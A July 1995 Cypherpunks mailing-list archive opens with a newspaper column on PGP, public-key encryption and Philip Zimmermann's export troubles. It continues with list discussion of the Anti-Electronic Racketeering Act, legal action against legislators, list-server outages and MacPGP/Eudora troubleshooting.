I think you've known me long enough to trust me. So I hope you won't
mind letting me read your mail. 

What's that? You object to my reading your mail? You say that your
private correspondence is none of my business? 

Fair enough. I feel the same way about my mail. That's why I put my
letters in envelopes. But what about the messages we exchange over
computer networks? 

Any computer is a profoundly insecure place for storing private
information.  As more people communicate over computer networks, they
expose themselves to severe embarrassment, or worse. A determined
government agency or corporation could tap the Internet or other data
networks, and gather all manner of financial, political or personal
information. 

But the same technology that makes this snooping possible is making it
possible for people to make communications virtually unreadable by
anyone except the people they're meant for. 

It's done using software that encrypts information _ turns it into a 
collection of gibberish. But this mishmash of symbols can be read by
someone who possesses the key, a kind of electronic letter-opener. 

Encryption has been around quite awhile. The first coded messages we
know about were sent by the soldiers and diplomats of Sparta about
2,400 years ago.  But few private citizens have ever bothered to
write in code. Most of us don't have many secrets. And the few we do
have aren't important enough to justify the immense complexity of a
really good code system. 

But when you have millions of people swapping E-mail on easily tapped
computer networks, attitudes start to change. Especially when the
computer itself can encode your messages in a form that's nearly
unbreakable. 

The idea is to apply an algorithm, or mathematical formula, that can
be used to code and decode any message. By the way, you don't have to
keep the formula secret. If the algorithm is really good, it won't
matter if a potential code-breaker knows it by heart. Run a message
through the algorithm, and even an expert code-breaker will need the
key to read it. 

Traditionally, going for the key has been the best way to break a
code. British and American researchers during World War II figured
out the keys to the German Enigma coding machine, and read Hitler's
mail. 

But in 1971, Whitfield Diffle and Martin Hellman came up with a much
tougher coding scheme, called public key cryptography. It relies on
two keys. One, the public key, is used only to encode messages. You
give this key to everybody who wants to send you a coded message. 

But the public key can't be used to read messages. For that, you use a
second, private key. When you receive a coded message, you run it
through your coding program along with your private key. 

Each key is a collection of letters and numbers generated by the
coding program. The longer the keys, the tougher it is to break the
code. But even a state-of-the-art public key system can be broken.
All you'll need is a supercomputer and several million years _ the
time it'll take to work through every possible solution. 

It also takes a fair amount of computing power to use a public key
system.  When Diffle and Hellman came up with the idea, only
corporations and governments had computers capable of the job. Now,
millions of us do. 

In addition, we now link these machines together over worldwide
networks.  Millions of us use computer networks to make credit-card
purchases, exchange business data, or write love letters. All of
which means we need a way to ensure that information we send can be
read only by those it's aimed at _ cryptography for the masses. 

And now we have it, thanks to Philip Zimmermann, anti-nuclear
activist, software engineer and author of Pretty Good Privacy (PGP).
It's a program many cryptography experts consider well-nigh
unbreakable. 

You can order a commercial version of PGP from ViaCrypt, an Arizona
company.  You pay $100 for the DOS version, $125 for Windows or Mac.
Call 1-602-944-0773, 10-7 weekdays. 

But the original PGP program is freeware. You can download it at no
charge from the Massachusetts Institute of Technology's FTP site
(net-dist.mit.edu, in the pub/PGP directory) or from the National
Computer Security Association Forum on CompuServe. The latest version
is called PGP262.ZIP. 

When you try to download PGP, you'll be asked whether you're a U.S.
citizen.  If you don't answer yes, you won't get the program. 

MIT and CompuServe don't care if you're phoning in from Jupiter.
They're just trying to protect themselves. They don't want to end up
like Zimmermann, who has spent the last three years trying to keep
out of jail. 

It all began in 1991, when Zimmermann was designing PGP. He heard
Congress was considering a law to ban the use of encryption software.
His left-wing instincts roused, Zimmermann quickly finished his
program, and then uploaded it to an Internet site. Once unleashed, no
government would be able to restrict PGP. 

Sure enough, PGP was soon being used by people all over the United
States. No problem _ the bill never passed. But when Internet users
outside the U.S.  started downloading it, the federal government put
the Zimmermann case in front of a grand jury. 

It seems that selling encryption software to foreigners is a federal
crime, on the same scale with peddling plutonium. The fact that
Zimmermann didn't sell PGP may or may not help him. The grand jury
has been at work since 1992, trying to decide whether to issue an
indictment. Zimmermann could get up to four years in prison. 

It's easy to denounce this assault on freedom, but the authorities
have a point. Most PGP users are honest citizens with a taste for
privacy. But the coding and encoding software works just as well for
terrorists, mobsters or child molesters. Cheap, powerful encryption
software will make life a lot tougher for the people who work to keep
us all safe. 

But then, the cops would also have an easier job if we all just agreed
to let them open everybody's mail. How about it? 

X X X 

(You can send electronic mail to Hiawatha Bray. If you're on the
Internet, send it to: watha(at)det-freepress.com; On Compuserve,
write to: 72662,2521; America Online users, write to: WathaB.) 

KNIGHT-RIDDER-WASHINGTON--07-12-95 0914EDT 
   -0- By Hiawatha Bray Knight-Ridder Newspapers

*** End of story ***




-----BEGIN PGP SIGNATURE-----
Version: 2.61

iQEVAwUBMAZbCigP1O9KJoPBAQHe+wf/bICqNHngGDGaK6ECIOy39OhHPdHxzdMw
zlU3ptgGrFpSmKyb1PqXSK3U41QfPCC2WDTLcxtxZHfE7J1DHkiptBvcwB5Sm6wJ
4i6PnCgCoot9EX4I8iG+WwAoujIUsDg2/7xoO6ba5daykFTBeeSw8iGac4O6j4aX
bz2JSpr3DsSQK7neB2HdeXp3Ovp7/qwM8Hx0nKn5ml/otFl6DUk6+7khLo5CvRG7
ei+aRMxn3H0B6EsFqB5s///RA3MuM1327ZzqAubIBaXpCU0VNK6M462oDDh8cTu1
u6gCnGKS5pT8imFBID8vu0S2P8ME8opl937B/aGrYhgzvoI2oZ0NKA==
=I6XV
-----END PGP SIGNATURE-----
          *********************************************
          *          / Only God can see the whole     *
          *  O[%\%\%{<>===========================-   *
          *          \ Mandlebrot Set at Once!        *
          * amp                                       *
          * <0003701548 at mcimail.com>                  *
          * <alan.pugh at internetmci.com>               *
          *********************************************
Key fingerprint =  A7 97 70 0F E2 5B 95 7C  DB 7C 2B BF 0F E1 69 1D







From Michael at umlaw.demon.co.uk  Fri Jul 14 10:25:00 1995
From: Michael at umlaw.demon.co.uk (Michael Froomkin)
Date: Fri, 14 Jul 95 10:25:00 PDT
Subject: (none)
Message-ID: <2387@umlaw.demon.co.uk>


 In message
<Pine.ULT.3.91.950713200640.19067A-100000 at krypton.mankato.msus.edu> "Robert A. Hayden" writes:

 [major cuts everywhere]
 > 
 > I've received about a dozen requests to clarify my rant earlier about 
 > what I think needs to be done about the future of the CPs and the net, 
 > now that the official declaration of war has been made by the government. 
 
 Let's all take a deep breath here. If the Grassley bill becomes
 law, this sort of talk may have merit. At this stage, it's too
 strong.  So far the only declaration made is by one or more 
 Senators, not "the government".

> 2)	PUSH FOR UNIVERSAL DIGITAL SIGNATURES
> In my version of utopia, all digital messages are signed.  Unfortunately,
> right now, there are no mechanisms in place to achieve that.  
 
 Sadly, the American Bar Association project that is writing model 
 legislation for this has been delayed.  A public discussion 
 draft, which should really move the ball forward, is not going 
 to happen until after our next meeting in August.  Expect 
 something published on the web in mid-September. Model 
 legislation is needed to sort out liability issues, for example, 
 without which large companies are afraid to enter the business.
 
 -- 
 Michael Froomkin                   until Aug 6: michael at umlaw.demon.co.uk
 U.Miami School of Law                                     London, England
 mfroomki at umiami.ir.miami.edu <-- this will still find me
 PO Box 248087 Coral Gables, FL 33124-8087     Rain. Sun. Rain. Sun. Rain.
 

-- 
Michael Froomkin                   until Aug 6: michael at umlaw.demon.co.uk
U.Miami School of Law                                     London, England
mfroomki at umiami.ir.miami.edu <-- this will still find me
PO Box 248087 Coral Gables, FL 33124-8087     Rain. Sun. Rain. Sun. Rain.





From sebaygo at intellinet.com  Fri Jul 14 10:35:24 1995
From: sebaygo at intellinet.com (Allen Robinson)
Date: Fri, 14 Jul 95 10:35:24 PDT
Subject: misfeasance in office (was: Re: Root Causes)
In-Reply-To: <9507140252.AA13485@snark.imsi.com>
Message-ID: <Pine.3.89.9507141215.B8511-0100000@sibyl.intellinet.com>




On Thu, 13 Jul 1995, Perry E. Metzger wrote:

> David K. Merriman writes:
> > 
> > Is there any precedence or possibility of either filing civil or criminal
> > charges against a Government official for their _official_ actions?
> 
> Not only is it a bad idea politically, but in fact members of congress
> are made specifically immune by the constitution from any legal action
> being taken against them for their words or actions during sessions of
> congress by any body other than congress.

While I recognize this to be the case, it remains exceedingly
frustrating.  It would seem that a textbook example of
misfeasance (not malfeasance) would be the act of introducing
and/or participating in the passage of legislation that a
member knew or should have known was unconstitutional -- at
least when misfeasance is defined as "the performance of a duty
or right which one has the right to do, but in a manner such as
to infringe upon the rights of others."  [anno. 20 ALR 104]

AR

%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%
"Government is not reason... it is force.  Like fire, it is a dangerous
servant and a fearful master."                      - George Washington
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Allen Robinson...................................sebaygo at intellinet.com
PGP public key AD022AA9   fingerprint 5A3BC05B2EC67724 F5664A20AEEAB07A






From sebaygo at intellinet.com  Fri Jul 14 10:42:52 1995
From: sebaygo at intellinet.com (Allen Robinson)
Date: Fri, 14 Jul 95 10:42:52 PDT
Subject: Suing/Reputations (was: Root Causes)
In-Reply-To: <199507140314.XAA05815@yakko.cs.wmich.edu>
Message-ID: <Pine.3.89.9507141223.A8798-0100000@sibyl.intellinet.com>




On Thu, 13 Jul 1995, Damaged Justice wrote:

> Title 42 of the United States Code is the section that describes
> the process by which one may sue a government official. However:
> 
> "...an officer may be held liable in damages to any person injured in
> consequence of a breach of any of the duties connected with his
> office...The liability for nonfeasance, misfeasance, and for malfeasance
> in office is in his 'individual', not his official capacity..." 70
> AmJur2nd Sec. 50, VII Civil Liability.
> 
> So the trick is to sue the offender as an individual, and not as a
> government official.

I composed my "misfeasance in office" post before reading this
thoughtful  and well researched message from Damaged Justice.
I had read all of the messages in my mailbox with "Re: Root
Causes" as the subject, but missed this one, since the subject
line had been changed.

Damaged Justice has looked into this in much greater depth than
I have, and raises some interesting possibilities.  
(Obviously, IANAL.)

AR

%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%=%#%
"Government is not reason... it is force.  Like fire, it is a dangerous
servant and a fearful master."                      - George Washington
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Allen Robinson...................................sebaygo at intellinet.com
PGP public key AD022AA9   fingerprint 5A3BC05B2EC67724 F5664A20AEEAB07A






From hayden at krypton.mankato.msus.edu  Fri Jul 14 10:45:10 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Fri, 14 Jul 95 10:45:10 PDT
Subject: Minnesota Cypherpunks Meeting
Message-ID: <Pine.ULT.3.91.950714124244.8005A-100000@krypton.mankato.msus.edu>


-----BEGIN PGP SIGNED MESSAGE-----

I mentioned this before and there seemed to be support, but I wanted to 
bring it up again hoping somebody in the cities can grab the ball and run 
with it (I doubt y'all wanna drive to Mankato :-)

Anybody wanna plan for a Minnesota CP Physical meeting sometime soon?  
Maybe on Friday the 28th or something?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 1.0

iQCVAwUBMAatLjokqlyVGmCFAQEutgQAmNL494sDhzzGXw2M/RW3PvmOYruv1cwA
PesJpE31LDr5S2i4Qi+59/LDkv2FY9Ut90FfrQj8dNtwF1CvFQUcEFIZrMpApsK9
O+/vUkO7Q4DZ0vXrYvSbpKY/03mqy7dvWKCY1d/wFc4Il8G/GgdHvASavHEKv6At
H5OICAkXM9M=
=AfJm
-----END PGP SIGNATURE-----
 
____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden





From Michael at umlaw.demon.co.uk  Fri Jul 14 11:04:13 1995
From: Michael at umlaw.demon.co.uk (Michael Froomkin)
Date: Fri, 14 Jul 95 11:04:13 PDT
Subject: Russians seek expert help
Message-ID: <2340@umlaw.demon.co.uk>


A collegue from Russia sent me an email that I expert (with 
permission):

Forwarded message follows:

> Upon my return to Russia I have met with
> one of the best information protection & computer
> data security firms in Russia.  They have
> their own developments in the field of computer
> security and, noteably, the special journal
> devoted to the cryptography and other information
> protection technics as well as legal aspects
> of these technologies. It is the single and thus
> best publication of this kind in Russia.
> 
> They have asked me to help them to get in
> touch with western specialists in the field
> of law & information technology protection.
> They would be happy to publish some articles (translations,
> of course) and find other ways of cooperation.
> 
> I suggest that either you personally or colleagues
> of yours would be interested in communicating
> on these matters with Russian specialists.
> 
> Their contact e-mail is hotline at confident.spb.su
> You may address the message to Petr Kuznetsov,
> he is a director of this firm.
> 
> cc: Peter Kouznetsov
> 

-- 
Michael Froomkin                   until Aug 6: michael at umlaw.demon.co.uk
U.Miami School of Law                                     London, England
mfroomki at umiami.ir.miami.edu <-- this will still find me
PO Box 248087 Coral Gables, FL 33124-8087     Rain. Sun. Rain. Sun. Rain.





From Andrew.Spring at ping.be  Fri Jul 14 11:05:38 1995
From: Andrew.Spring at ping.be (Andrew Spring)
Date: Fri, 14 Jul 95 11:05:38 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <v01510103ac2b52dbb0ac@[193.74.217.16]>


>---------- Forwarded message ----------
>Date: Wed, 12 Jul 1995 15:28:25 -0400
>Subject: Anti-Electronic Racketeering Act of 1995
>
>

>      "(2) to distribute computer software that encodes or encrypts
>    electronic or digital communications to computer networks that the
>    person distributing knows, or reasonably should know, is accessible to
>    foreign nationals and foreign governments, regardless of whether such
>    software has been designated nonexportable."

Christ, these guys are so predictable.  What do want to bet that the last
clause of that paragraph was put in, just so it could be taken out?

Netscape, Apple, Novell et al testify before Congress; complain that their
crippled crypto has already been approved for export; they'll lose so much
money in sales, blah blah blah.  Grassley smiles for the camera, says "I'm
a reasonable man", strikes out the last clause.

Isn't democracy wonderful?

--
Thank you VERY much!  You'll be getting a Handsome Simulfax Copy of your
OWN words in the mail soon (and My Reply).
<Andrew.Spring at ping.be> PGP Print: 0529 C9AF 613E 9E49  378E 54CD E232 DF96
   Thank you for question, exit left to Funway.







From rittle at comm.mot.com  Fri Jul 14 11:25:25 1995
From: rittle at comm.mot.com (Loren James Rittle)
Date: Fri, 14 Jul 95 11:25:25 PDT
Subject: List Crash?
Message-ID: <9507141823.AA01659@supra.comm.mot.com>



I see the cypherpunks' mailing list lost it's mind again.  It has been
awhile since this happened.

Was it an accident or sabotage?

Loren





From pjm at ionia.engr.sgi.com  Fri Jul 14 11:31:42 1995
From: pjm at ionia.engr.sgi.com (Patrick May)
Date: Fri, 14 Jul 95 11:31:42 PDT
Subject: Legislation question...
In-Reply-To: <199507140331.AA07147@tyrell.net>
Message-ID: <199507141831.LAA07706@ionia.engr.sgi.com>


-----BEGIN PGP SIGNED MESSAGE-----

Perry E. Metzger writes:
 > BTW, in re suing congressmen
 > 
 > "The Senators and Representatives shall [...] in all cases, except
 > treason, felony and breach of the peace, be privileged from arrest
 > during their attendance at the session of their respective Houses, and
 > in going to and returning from the same; and for any speech or debate
 > in either House, they shall not be questioned in any other place."
 > 
 > The last part being operative.

Article VI

Clause 3. The Senators and Representatives before mentioned, and the
          Members of the several State Legislatures, and all executive
          and judicial Officers, both shall be bound by Oath or
          Affirmation, to support this Constitution; but no religious
          Test shall ever be required as a Qualification to any Office
          or public Trust under the United States. 

Does any mechanism exist for removing Oath-breakers from office?  Any
member of Congress who proposes or votes for (as distinguished from
"speech or debate") unconstitutional legislation has clearly violated
their Oath, and hence are no longer legitimate holders of the office.

     Would someone who refused to be "bound by Oath or Affirmation" be
allowed to take a seat in the Congress?  If not, why should an
Oath-breaker be allowed to?

     Yes, I know, they'll do whatever the hell they want.

Regards,

Patrick May

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAa4BO5Yg08fDKehAQGOQgQAjBP3g5LZY6YE/8IHsG/PXFlyE4PNYRaP
cIZ+y9MKWPP81kQPqGggnrDl6DcllWQmNW+cNrcOXraJnLutUlXDEnY6s3TXP34h
5L8oFzUNJSBl3GqKHxXOMMVdDXUeB8afUxbmCHrCQjq5QLSux4uIGBRd44VfVW4C
dxoBmom+FQU=
=kfH+
-----END PGP SIGNATURE-----





From jbarth at cozumel.picnet.com  Fri Jul 14 11:56:14 1995
From: jbarth at cozumel.picnet.com (Jeffrey Barth)
Date: Fri, 14 Jul 95 11:56:14 PDT
Subject: The MoJo Wire thanks you
In-Reply-To: <Pine.3.89.9507140848.C14641-0100000@Mars.mcs.com>
Message-ID: <Pine.SGI.3.90.950714121749.6465B-100000@cozumel>


I am not sure if you realize that this discussion is appearing all over 
the place.  I am somewhat interested in this conversation, but not really.

==================================================================  
                 Potomac Interactive Corporation
------------------------------------------------------------------
E-mail: jbarth at picnet.com  Voice: 703.276.0181   Fax: 703.276.2981 
==================================================================

On Fri, 14 Jul 1995, Nicholas Samuels wrote:

> With this message, you also included a note from silversh at rmmi.com, 
> wishing to "unsubscribe."  Since I don't administer your listserv, you 
> might want to do something with that.
> 
> On Thu, 13 Jul 1995, Joel B. Truher wrote:
> 
> > Thank you for your help in our beta test!  Please come back soon,
> > and send me mail if you'd like to be removed from this mailing
> > list -- we may send a new Web product announcement every few months,
> > and you'll soon receive a survey of your opinion of our site.
> > 
> > More info on The MoJo Wire:
> > 
> > 
> >              "More fun than a secret decoder ring!"
> >                                -- Jim Hightower
> > 
> >   "Mother Jones magazine is turning the tables [on Gingrich]"
> >                                -- LA Times
> > 
> > Mother Jones is pleased to announce the official release of our
> > redesigned WWW site, now called The MoJo Wire, on July 14th, at:
> > 
> >                     http://motherjones.com
> > 
> > * See Newt Gingrich's secret list of major funders on our "Coin-
> >   Operated Congress" feature.  Gingrich is fighting the FEC in
> >   court to keep this information secret, but you can see it here
> >   for the first time.  See the ten worst, the ten richest, the
> >   dirt on all of them, and help complete this interactive
> >   investigation project.
> > 
> > * Newly revamped on-line chat software, called Live Wire,
> >   provides the best Web-based political discussions anywhere.
> >   Create hyperlinks in the words of others in this new feature,
> >   which already contains several lively debates.
> > 
> > * The July/August issue of Mother Jones magazine is available
> >   only on The MoJo Wire.  Read the full text of the magazine.
> > 
> > Many thanks to our team of two thousand beta testers!  With your
> > help, we've worked a few of the last kinks out of the system,
> > added a few things, and now offer the service password-free.
> > 
> > For more information about The MoJo Wire, send mail to
> > truher at mojones.com, or call me at 415-665-6637.
> > 
> > Joel Truher
> > Manager, The MoJo Wire
> > 
> > 
> > 
> 





From jya at pipeline.com  Fri Jul 14 12:07:23 1995
From: jya at pipeline.com (John Young)
Date: Fri, 14 Jul 95 12:07:23 PDT
Subject: Toad Hit?
Message-ID: <199507141907.PAA15038@pipe2.nyc.pipeline.com>


Is there an after-action report available?



Responding to msg by Majordomo at toad.com () on Fri, 14 Jul 11:58 
AM

>--
>
>Your request of Majordomo was:
>>>>> who cypherpunks
>Members of list 'cypherpunks':
>
>Panu.Rissanen at lut.fi
>hugh
>eric at remailer.net
>gnu
>losburn at omcssi.com
>adwestro at ouray.cudenver.edu
>krs at caos.aamu.edu
>hfinney at shell.portal.com
>tomb at syntec.com
>hank at rumple.org
>tcmay at sensemedia.net
>heling at harry.sar.usf.edu
>bbrown at gtenet.com
>cypherpunks at cs.du.edu
>rittle at comm.mot.com
>bdolan at use.usit.net
>jfleming at copper.ucs.indiana.edu
>jya at pipeline.com





From gate at id.WING.NET  Fri Jul 14 12:40:07 1995
From: gate at id.WING.NET (The Gate)
Date: Fri, 14 Jul 95 12:40:07 PDT
Subject: Root Causes
In-Reply-To: <199507140151.UAA01504@arnet.arn.net>
Message-ID: <Pine.3.89.9507141530.A8090-0100000@dialin1.wing.net>


I think this is a good idea...

On Thu, 13 Jul 1995, David K. Merriman wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> While I respect the ideas and opinions submitted by the majority of the
> members of this list, I wonder if perhaps we're failing to deal with the
> _root_ problem of such things as the CDA, Clipper, DTA, etc.
> 
> Specifically, I wonder if it wouldn't be a better approach to *prevent* such
> measures from ever being proposed in the first place.
> 
> (pause to adjust nomex undies and titanium body armor :-)
> 
> Is there any precedence or possibility of either filing civil or criminal
> charges against a Government official for their _official_ actions?
> Something that will not only make for some Serious Press, but hit them from
> an unexpected angle?
> 
> (close hatch on bunker :-)
> 
> It would seem that things such as the CDA, etc, are patent violations of the
> Bill of Rights. As such, wouldn't the Congressrodent(s) proposing such
> measures be violating our civil rights, and thus be criminally liable?
> Aren't Congressrodents supposed to take an Oath of Office that involves
> upholding the Constitution?
> 
> Alternatively, could a civil suit be filed for invasion of privacy or
> somesuch? Or perhaps the previously mentioned violation of civil rights (a
> la Rodney King)?
> 
> How many laws, etc, can we invoke? I mean, most congresscritters don't craft
> laws on their own, so the involvement of their staff would constitute
> conspiracy, as well, wouldn't it?
> 
> I'd think that if a few of the <insert favorite expletive here> were sued
> and/or tried, it would sure make the rest of them consider the full
> implications of any laws they might consider proposing. Too, it might
> accidentally ripple through all of the Government, and settle down some of
> the beaurocrats that aren't subject to voters.
> 
> IANAL, of course, so I'll leave it up to those on the list who are to
> express more informed opinions; still, it _seems_ like a possible course of
> action.....
> 
> Dave Merriman
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> 
> iQCVAwUBMAWqT8VrTvyYOzAZAQFPiwQAluzkD3H+AcUFr7qNhf84I7Y3FNB27Lxc
> jQQ5UQnYgvQpHhlExJGmxDjebbOgbOik5Xu2KoQYbdutc/LBWHN6OzfLWim9jWwq
> C1nKEnDUo1jKQ+LcsV0/TGrwKPUYVnOhswZPydn50xnKF3KuW17RnXFeYJi+DTdZ
> D3YtxRa2shc=
> =JiVo
> -----END PGP SIGNATURE-----
> This is a test (3 UUE lines) of the unconstitutional ITAR - 1/713th
> of the PGP executable. See below for getting YOUR chunk! 
> ------------------ PGP.ZIP Part [015/713] -------------------
> M=$<(&L`#*IPP",(G6(,,S,`P](<2RWU96XCW86/JBYV8A\D8 at X'HB_9H#&\X
> MX'PCUB.,13B"X8`R?^J-:UB.M_`U\>[#)BS&5$0C,Y#^1CS>1`\T1QTXX6!3
> M8H,),S$8G>&.WP(8IRA`-M['+`Q%&_C"">5-F%LX@<_Q$;*P'',Q$Z/AA[8M
> -------------------------------------------------------------
> for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/
> 
> 
> 

____________________________|||||||||||||||||||||______________________________
		 R. Leland Lehrman at The Gate, New Haven, CT.     	    
		    http://id.wing.net/~gate/gate.html
	  God, Art, Technology and Ecology Research and Development
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>Do you love the Mother?>>>>>>>>>>>>>>>>>>>>>>>>







From hayden at krypton.mankato.msus.edu  Fri Jul 14 12:41:37 1995
From: hayden at krypton.mankato.msus.edu (Robert A. Hayden)
Date: Fri, 14 Jul 95 12:41:37 PDT
Subject: DOH!
Message-ID: <Pine.ULT.3.91.950714144121.10730C-100000@krypton.mankato.msus.edu>


-----BEGIN PGP SIGNED MESSAGE-----

I see that the subscription rolls got nuked again.  *sigh*

Did I miss anything juicy after the rants of yesterday?


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: PGP Signed with PineSign 1.0

iQCVAwUBMAbIizokqlyVGmCFAQHHUAQA0gTXvdTsIfY+l2yKXhbVcYJh38Ud1Tx9
ald4e52YaTW2256rOxmuoN1pBSu1rnpjWkEytHRHJ12rkLSrocAKT66Xk0wW0o7t
Pml8gLFlpX4XznmTNkGV36Vv7s0ly+sDsJxd4R8WIXEpCr77I9Pyc1WIiJW3Oo/1
gJFHp0vBCzE=
=qLuY
-----END PGP SIGNATURE-----
 
____        Robert A. Hayden      <=> Cthulhu Matata
\  /__          -=-=-=-=-         <=>          -=-=-=-=-
 \/  /  Finger for Geek Code Info <=> hayden at krypton.mankato.msus.edu
   \/   Finger for PGP Public Key <=> http://att2.cs.mankato.msus.edu/~hayden





From schwartz at bach.convex.com  Fri Jul 14 12:49:15 1995
From: schwartz at bach.convex.com (Adam E. Schwartz)
Date: Fri, 14 Jul 95 12:49:15 PDT
Subject: The MoJo Wire thanks you
In-Reply-To: <Pine.3.89.9507140848.C14641-0100000@Mars.mcs.com>
Message-ID: <199507141542.KAA12126@bach.convex.com>


hello everybody,

Please direct all your future replies related to this message and the
Mother Jones junk to

	truher at mojones.com

Also, please do *not* "group reply":  check to ensure that only 
truher at mojones.com is included in the "To:" part of the email
header, and do not include anyone in the "Cc:" part of the
email header.

Thanks very much.

(BTW, I have absolutely nothing to do with Mother Jones or its WWW site.)



Nicholas Samuels writes:
>
>With this message, you also included a note from silversh at rmmi.com, 
>wishing to "unsubscribe."  Since I don't administer your listserv, you 
>might want to do something with that.






From tj at compassnet.com  Fri Jul 14 13:11:04 1995
From: tj at compassnet.com (Bolivar Shagnasty)
Date: Fri, 14 Jul 95 13:11:04 PDT
Subject: Crisis Overload (re Electronic Racketeering)
Message-ID: <Chameleon.4.01.2.950714150955.tj@tjunker.compassnet.com>


"Overweaning."  "Iowa."  Yes, yes, I know.  Fingers think for 
themselves.  Too used to typing "weenie."  Just read DOJ report.  Don't 
write.

Bolivar






From gate at id.WING.NET  Fri Jul 14 14:01:14 1995
From: gate at id.WING.NET (The Gate)
Date: Fri, 14 Jul 95 14:01:14 PDT
Subject: Free The World Web Server project.. :)
Message-ID: <Pine.3.89.9507141638.A8442-0100000@dialin1.wing.net>



15:57 EST
July 14th, 1995
New Haven, CT. 

	From the Yale Computer Center:

	Got an idea for y'all, from the heart and mind of Elizabeth 
Walker, with whom I live.

	 Let's set up a web site where someone can submit a letter that 
will be automatically sent to every senator, congressperson, elected and 
appointed federal official. If we run into trouble, we can scale it down, 
narrow the various target areas...

	Also, we could write our own letters, post them, and if someone 
wants to resend it, they could do so at the click of the mouse.

	Example, someone logs on to the Freedom Speaks webserver, and is 
greeted by the message, "Welcome, enter your message for Federal 
officials in the box provided, then hit the submit button." 

	"If you would like to submit one of our pre-written letters, just 
click on any of the ones you see below." 

	For those without web access, we could set up a mailing list to 
do the same.

	 I.e. to send a message to all our elected and appointed 
officials, send message to freetheworld at gateway.net. From there it gets 
spooled everywhere. What do you think? I could probably do it somehow, 
but someone with access to better resources and knowledge of cgi-bin 
might be better for the job. If anyone is interested in this project, let 
me know...

			R. Leland Lehrman

____________________________|||||||||||||||||||||______________________________
		 R. Leland Lehrman at The Gate, New Haven, CT.     	    
		    http://id.wing.net/~gate/gate.html
	  God, Art, Technology and Ecology Research and Development
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>Do you love the Mother?>>>>>>>>>>>>>>>>>>>>>>>>







From unicorn at access.digex.net  Fri Jul 14 14:44:19 1995
From: unicorn at access.digex.net (Black Unicorn)
Date: Fri, 14 Jul 95 14:44:19 PDT
Subject: Eudora MacPGP Woes
In-Reply-To: <9507141334.AA07025@fugazi.imonics.com>
Message-ID: <Pine.SUN.3.91.950714174307.3458A-100000@access5.digex.net>


On Fri, 14 Jul 1995, Steven Champeon - Imonics Development wrote:

> Date: Fri, 14 Jul 1995 09:34:59 -0400
> From: Steven Champeon - Imonics Development <schampeo at imonics.com>
> To: unicorn at access.digex.net, hal9001 at panix.com
> Cc: cypherpunks at toad.com
> Subject: Re: Eudora MacPGP Woes
> 
> 
> |   From: "Robert A. Rosenberg" <hal9001 at panix.com>
> |   Subject: Re: Eudora MacPGP Woes
> |   
> |   At 14:40 7/8/95, Black Unicorn wrote:
> |   >I have noticed that an X-Attachement: header is added, but I have no idea
> |   >how to remove it without opening the Eudora outbox with teachtext or
> |   >something.
> |   
> |   Highlight the file name on the attachments line and hit delete to remove an
> |   attached file request.
> 
> I guess I'm still confused about why there's an X-Attachment: header being
> added. If the file is being generated by MacPGP without using the Applescript,
> you can simply open the resulting encoded file (provided it is being ascii-
> armored) from within Eudora then copy and paste it into an open Compose
> window. Voila. No X-Attachment: header. If you delete the file name on the
> attachments line, it also removes the attachment.
> 
> Mr. Unicorn: have you had any luck with the Applescript? You might try
> booting without extensions (except for Applescript) and open Eudora
> off-line and keep trying. 

Now that I have begun using the PGPkit versions of the scripts, all is 
well.  No idea what caused the headache.

> 
> Hope this helps,
> Steve
> 

00B9289C28DC0E55 nemo repente fuit turpissimus - potestas scientiae in usu est
E16D5378B81E1C96 quaere verum ad infinitum, loquitur sub rosa    -    wichtig!
*New Key Information*    -    Finger for key revocation and latest key update.






From cjl at welchlink.welch.jhu.edu  Fri Jul 14 16:15:39 1995
From: cjl at welchlink.welch.jhu.edu (cjl)
Date: Fri, 14 Jul 95 16:15:39 PDT
Subject: ping
Message-ID: <Pine.SOL.3.91.950714190206.3736A-100000@welchlink.welch.jhu.edu>


Cypherpunks,

It was my intention to write a little summary of the story in the most 
recent issue of SCIENCE, which in addition to reporting some progress 
towards constructing a quantum computer, also reports in a side bar on 
a Los Alamos demonstration of untappable quantum cryptography in which a 
message was sent over 14 kilometers of fiberoptic cable and read with a 
1% error rate, secure in the knowledge that Eve couldn't possible be 
listening.

However, I have not gotten any mail from the list today which leads me to 
believe that there is something wrong with the list-server, you couldn't 
all possible have been struck dumb with terror by the Your-ass-is 
Grassley Act :-)

So this is a test, this is only a test.  Had this been a real message I 
would have sent more details about the stuff in SCIENCE.

C. J. Leonard                     (    /      "DNA is groovy"
                                   \ /                - Watson & Crick
<cjl at welchlink.welch.jhu.edu>      / \     <--  major groove
                                  (    \
Finger for public key               \   )
Strong-arm for secret key             /    <--  minor groove
Thumb-screws for pass-phrase        /   )






From cme at TIS.COM  Fri Jul 14 17:16:05 1995
From: cme at TIS.COM (Carl Ellison)
Date: Fri, 14 Jul 95 17:16:05 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <199507141958.MAA06431@comsec.com>
Message-ID: <9507142311.AA09635@tis.com>


>Date: Thu, 13 Jul 95 11:19:29 -0400
>From: "Brian A. LaMacchia" <bal at martigny.ai.mit.edu>


>>In the subsection that explicitly mentions crypto, it says that it's
>>unlawful to put (non-GAK) crypto on an open net, "regardless of whether such
>>software has been designated non-exportable". If the phrase "nonexportable"
>>means the same thing in the context of this subsection, then provision (b)
>>would only seem to apply RICO to stuff that already falls under ITAR.
>
>What worries me is the first sentence: "each act of distributing
